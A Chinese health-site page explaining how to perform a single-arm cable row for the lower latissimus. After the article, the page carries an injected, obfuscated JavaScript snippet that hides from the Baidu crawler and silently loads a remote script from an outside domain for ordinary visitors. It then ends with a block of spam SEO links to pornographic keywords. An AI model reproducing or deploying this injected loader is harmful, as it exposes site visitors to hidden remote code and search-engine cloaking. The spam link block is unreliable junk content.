<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 健康 > 運動健身 > 正文

      單臂拉力器劃船怎么樣?

      2017-04-14 20:39:39  來源:360常識網   熱度:
      導語:有許多的健身愛好者都喜歡用單臂拉力器,單臂拉力器是一種練手臂力量和手臂肌肉的一種工具,通常為男性使用。有的女性也有使用單臂拉力器,

      有許多的健身愛好者都喜歡用單臂拉力器,單臂拉力器是一種練手臂力量和手臂肌肉的一種工具,通常為男性使用。有的女性也有使用單臂拉力器,一般是用來瘦手臂或者是收緊肌肉。那么我們應該如何正確使用單臂拉力器呢?接下來就讓小編為大家介紹一下單臂拉力器的使用方法。

      練習目的:發展背闊肌下部。要讓背闊肌下部延伸到腰部,

      這個動作是再合適不過了。動作要領:選用一個固定在地面上的滑輪,一只手握住把手。如果采用站姿,為了平衡, 你可以把與所用的手臂相對的那條腿放在前面,另一條腿放在后面。(采用坐姿時也可以這樣) 開始時,臂部在身體的前方充分伸展;

      你甚至還可以向內側轉動你的手腕,讓大拇指比小拇指略 低,以獲得盡可能充分的拉伸。將把手從你身體的一側盡可能遠 地向后拉,同時向外轉動你的手腕,最后讓大拇指在外側,感覺 背部肌肉的收縮。放松,伸開你 的手臂,同時轉動手腕,回到起 始位置。這只手臂做完之后,換另一只手臂重復。

      對單臂拉力器劃船這個動作 來說,成功的關鍵在于動作幅度。 在你拉動拉索的時候,將你的肘 部盡可能遠地帶向身體后方一 要比你在常規拉力器劃船中能做到的遠得多。同樣,在你再次放 松并放低重量的時候,確保你的臂部和背闊肌都得到最大可能的拉伸。

      注意事項:

      初始不使用大重量,技術穩定后在逐步增重

      看完了小編對單臂拉力器的使用方法的介紹,想必大家都應該明白了。訓練時腰背不夠平直就會使我們的脊椎受到損害,我們應當在訓練前做好運動準備,盡量避免意外的發生。我們還要注意我們身體扭動的幅度不可過大,幅度越小,受傷的可能性也就越低。

      轉載申明:360常識網,歡迎分享,轉載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 国产激情综合在线观看| 免费精品99久久国产综合精品| 亚洲成a人v欧美综合天堂| 狠狠的干综合网| 日韩欧美在线综合网另类| 人人狠狠综合久久亚洲88| 久久综合九色综合网站| 高清欧美色欧美综合网站| 久久婷婷五月综合成人D啪| 自拍 偷拍 另类 综合图片| 亚洲欧洲日韩国产综合在线二区| 亚洲精品天天影视综合网| 欧美综合天天夜夜久久| 色欲香天天天综合网站| 伊人久久大香线蕉综合热线| 久久综合综合久久综合| 亚洲第一页综合图片自拍| HEYZO无码综合国产精品227| 综合激情五月综合激情五月激情1| 99久久亚洲综合精品成人| 色综合天天综合网国产国产人| 丁香色欲久久久久久综合网 | 欧美日韩亚洲国内综合网| 色婷婷色综合激情国产日韩| 丁香色欲久久久久久综合网| 日韩欧美亚洲综合久久影院d3| 亚洲图片综合区| 国产精品综合AV一区二区国产馆| 欧美日韩国产综合草草| 色欲天天天综合网| 99久久精品国产综合一区| 久久综合久久自在自线精品自| 亚洲综合色视频在线观看| 久久久久噜噜噜亚洲熟女综合| 精品亚洲综合在线第一区| 色综合婷婷在线| 五月婷婷激情综合| 天天综合天天做天天综合| 亚洲国产欧洲综合997久久| 国产福利电影一区二区三区久久久久成人精品综合 | 五月天综合网|